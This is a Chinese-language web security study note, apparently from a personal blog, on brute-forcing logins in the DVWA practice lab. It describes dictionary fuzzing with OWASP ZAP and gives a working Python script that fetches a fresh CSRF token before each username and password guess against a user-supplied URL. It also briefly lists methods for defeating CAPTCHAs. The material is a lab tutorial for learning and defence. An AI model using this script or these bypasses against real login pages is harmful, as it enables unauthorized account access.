Web 安全学习笔记九 常见 Web 漏洞(暴力破解)

作者 Marlous 日期 2019-07-28
Web 安全学习笔记九 常见 Web 漏洞(暴力破解)

一 暴力破解概念

  • 暴力破解本质上就是通过穷举法来尝试所有密码与密钥的组合(两层 for 循环)。

  • 在 Web 应用中使用编写好的程序或工具来模拟用户提交用户名和密码这个过程。

二 资料阅读

略。

三 漏洞原理与利用

  1. low 等级:
    没有任何限制措施,直接是指代理使用 OWASP ZAP 来进行模糊测试(Fuzz)。先测试提交抓包找到提交用户名密码的数据报,然后根据此请求使用字典来 fuzz,字典即为 payload,加在用户名、密码参数中。
  • 找到提交用户名密码的请求,并在响应中找到可以判断用户名密码成功或失败的信息。
    请求
    请求

  • 直接使用 Zap 进行 fuzz(准备好用户名、密码字典)。
    请求

  • fuzz 结束后,根据响应的数据报大小排序。因为正确返回的页面和错误返回的页面不同。得到正确的用户名密码组合。
    请求

  1. medium 等级:
    与 low 等级方法相同,不同在于时间更长。因为失败后限制一段时间才能再次登陆。

  2. high 等级:
    使用相同的方法进行 fuzz 发现失败。无返回内容(302 错误代码)。参数中多了一个 user_token 参数。每次向服务器请求后,服务器会生成新的 token 供下次请求使用。/ 通过访问首页(获得第一次的 token)来进而可以用此 token 来发送请求并通过服务器验证。

  • 代码:
    发送第一次请求首页面、构造发送请求、判断结果。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    # -*- coding: UTF-8 -*-
    # urllib3 文档:https://urllib3.readthedocs.io/en/latest/
    # 使用时注意更改代码中的 PHPSESSID 值
    # debug:第一次请求首页时也需要构造 headers 中的 cookie 参数,注意大小写等问题。

    import urllib3
    import os
    import re


    class dictionary():
    def __init__(self):
    self.user_list = []
    self.passwd_list = []

    def input_file(self):
    self.user_file = os.path.join(os.getcwd(), "user_dict.txt")
    self.passwd_file = os.path.join(os.getcwd(), "passwd_dict.txt")

    if not os.path.exists(self.user_file):
    self.user_file = input("Enter users dict file path:")
    if not os.path.exists(self.passwd_file):
    self.passwd_file = input("Enter passwd dict file path:")

    with open(self.user_file, 'r', encoding='utf-8') as f:
    for user_item in f:
    user_item = user_item.strip("\n")
    self.user_list.append((user_item))

    with open(self.passwd_file, 'r', encoding='utf-8') as f:
    for passwd_item in f:
    passwd_item = passwd_item.strip("\n")
    self.passwd_list.append(passwd_item)


    if __name__ == '__main__':
    dict_object = dictionary()
    dict_object.input_file()

    website_url = input("Enter website url:").strip(" ")

    for username in dict_object.user_list:
    for password in dict_object.passwd_list:

    # 构造请求首页,得到 token 值
    http = urllib3.PoolManager()
    response = http.request(
    "GET",
    website_url,
    headers={
    "Cookie": "security=high; PHPSESSID=c15012011c81bf7271e4e6c52d6b3711"
    })

    user_token = re.findall(r"(?<=<input type='hidden' name='user_token' value=').+?(?=' />)", response.data.decode("utf-8"))[0]

    # 构造请求尝试用户名密码
    url = website_url + "?username=" + username + "&password=" + password + "&Login=Login" + "&user_token=" + user_token
    response_new = http.request(
    "GET",
    url,
    headers={
    "Cookie": "security=high; PHPSESSID=c15012011c81bf7271e4e6c52d6b3711"
    })

    # 判断返回的结果
    print("-----------------")
    print(user_token)
    print(url)
    print("用户名:%s" % (username))
    print("密码:%s" % (password))
    # print(response_new.data.decode("utf-8"))

    if "Welcome to the password protected area" in str(response_new.data.decode("utf-8")):
    print("成功!")
    else:
    print("失败!")
    print("-----------------")

四 修复

  • 每次请求后错误增加时间拒绝请求。
  • 各种人机验证(验证码)。

五 我的笔记思考总结等

破解人机验证方法:如机器学习图像识别,(如测试用的)自动化脚本,puppeteer、selenium。